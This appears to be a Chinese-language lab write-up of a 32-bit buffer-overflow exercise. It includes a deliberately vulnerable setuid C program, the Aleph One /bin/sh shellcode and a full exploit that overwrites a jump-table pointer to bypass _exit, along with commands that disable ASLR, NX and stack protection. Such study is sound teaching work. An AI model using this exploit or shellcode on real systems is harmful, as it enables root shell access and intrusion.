最近在做緩衝區溢出實驗,總共有6個
shellcode.h
shellcode的作用是運行一個/bin/sh
/*
* Aleph One shellcode.45個字節
*/
static const char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
源代碼vul5.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void nstrcpy(char *out, int outl, char *in)
{
int i, len;
len = strlen(in);
if (len > outl)
len = outl;
for (i = 0; i <= len; i++)
out[i] = in[i];
}
void bar(char *arg)//以上和vul2一樣,可溢出最後一位改變ebp
{
char buf[200];
nstrcpy(buf, sizeof buf, arg);
}
void foo(char *argv[])
{
int *p;
int a = 0;
p = &a;//p指向a的地址
bar(argv[1]);
*p = a;//p指向地址的值爲a,可改變p指向地址的值
_exit(0);//若想達到目的需要設法跳過這條語句
/* not reached */
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target6: argc != 2\n");
exit(EXIT_FAILURE);
}
setuid(0);
foo(argv);
return 0;
}
攻擊代碼
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"
#define TARGET "/mnt/hgfs/sourcecode/proj1/vulnerables/vul6"
int main(void)
{
char payload[201];
memset(payload,'\x90',35);
memcpy(payload + 35,shellcode,45);
memset(payload + 80,'\x90',52);
memcpy(payload + 132,"\x74\xfc\xff\xbf\x0c\xa0\x04\x08",8);
memset(payload + 140,'\x90',60);
payload[200] = '\x00';
//結構共201個字節
//35字節NOP+45字節shellcode+52字節NOP+
//4個字節a的值(返回地址)+4個字節p指針(指向0x804a00c)+60字節NOP+1個字節'\x00'
char *args[] = { TARGET, payload , NULL};//定義運行參數
char *env[] = { NULL };
execve(TARGET, args, env);
fprintf(stderr, "execve failed.\n");
return 0;
}
簡單原理說明
緩衝區溢出通過往程序的緩衝區寫超出其長度的內容,造成緩衝區的溢出,從而破壞程序的堆棧,造成程序崩潰或使程序轉而執行其它指令,以達到攻擊的目的。
造成緩衝區溢出的主要原因是程序中沒有仔細檢查用戶輸入的參數是否合法。
環境聲明
LINUX 32位系統
本任務所以實驗均在關閉ASLR、NX等保護機制的情況下進行:
- 關閉地址隨機化功能:
echo 0 > /proc/sys/kernel/randomize_va_space2. - gcc編譯器默認開啓了NX選項,如果需要關閉NX(DEP)選項,可以給gcc編譯器添加-z execstack參數。
gcc -z execstack -o test test.c - 在編譯時可以控制是否開啓棧保護以及程度,
gcc -fno-stack-protector -o test test.c //禁用棧保護
gcc -fstack-protector -o test test.c //啓用堆棧保護,不過只爲局部變量中含有char數組的函數插入保護代碼
gcc -fstack-protector-all -o test test.c //啓用堆棧保護,爲所有函數插入保護代碼
實驗過程
本實驗總體結構和實驗二比較相似,而不同之處在於foo()函數中,多了一個指針變量p與一個常量a:
- 確定溢出目標:
由實驗二可知,通過nstrcpy()函數可以修改foo函數ebp的值,而變量p與a的位置是根據ebp決定的:
而根據foo()函數,我們可以知道,存在修改p指向地址空間的值的可能性,而p指向的地址爲p指針地址(ebp+4)中存儲的地址,修改的值即爲a,其地址爲ebp+8.
而foo()函數中,最終會執行_exit()函數,所以我們需要設法繞過此函數。
故而,溢出攻擊的基本思路爲:通過nstrcpy()函數一個字節的溢出,改變foo函數ebp的值,並通過payload的構造,使得p指向一個特定的地址,並將其改變爲構造的a的值,最終達到繞過_exit()函數,到payload執行shellcode。 - 構造shellcode:
A. 首先,我們通過GDB調試vul6.c編譯出的程序,可以發現,原來foo函數的EBP爲0xbffffd50:
而buf的首地址爲0xbffffc74,其範圍爲0xbffffc74-0xbffffd3c大小爲200個字節:
由上信息易知,如果改變ebp的最後一位,可以使得ebp出現在buf中間,且離buf的邊界越遠越好。
B. 第二步,由實驗二可知,我們可以通過將第201字節置爲’\x00’從而使得foo函數的ebp修改成0xbffffd00,距離buf尾部(0xbffffd3c)60個字節(0x3c=60):
而我們知道指針p的地址位於ebp+4,變量a的地址位於ebp+8,所以接下來我們要設法修改p指向地址的值爲a,從而達到繞過_exit()函數執行shellcode的目的。
C. 第三步,查看foo函數的彙編代碼,找到需要修改的目標地址:
此處本來有直接修改地址0x080485a5中的指令爲0x9090c3c9的想法(0xc3爲ret指令,0xc9爲leave指令),但是由於**.text段只讀屬性**,故而修改未果。
於是只能繼續跟蹤_exit()函數的調用,可以看到,它將執行位於0x08048390處的代碼:
可以看到,_exit()跳轉的代碼處第一個指令爲jmp,而這條指令jmp到的目標爲地址0x804a00c中存儲的值。
所以,這就與指針p與a可以對應起來,也就是說,我們可以通過構造指針p使得p指向地址0x804a00c,並修改該地址中的內容爲a,使得該地址中的值爲shellcode的入口地址,從而使得_exit()函數執行後,自動跳轉到我們構造的shellcode執行。
D. 構造payload:
Payload結構共201個字節
組成:35字節NOP + 45字節shellcode + 52字節NOP + 4個字節a的值(返回地址) + 4個字節p指針(指向0x804a00c) + 60字節NOP + 1個字節’\x00’
- 編譯並執行,結果如下所示:
可見,成功執行了shellcode,溢出執行成功。
總結
此實驗與實驗二的十分相似,差別在於在foo函數之中多了一個指針變量p與一個常量a,並且在執行完nstrcpy()函數之後,執行了*p=a的語句,而p與a的位置與ebp的相對關係不變,所以這就給了我們修改任意地址任意值的可能性(有效地址),而在之後通過跟蹤_exit()函數,知道它利用jmp指令去跳到一個指針中存放的地址,故而通過修改其jmp的指針中的地址,最終直接jmp到了payload執行shellcode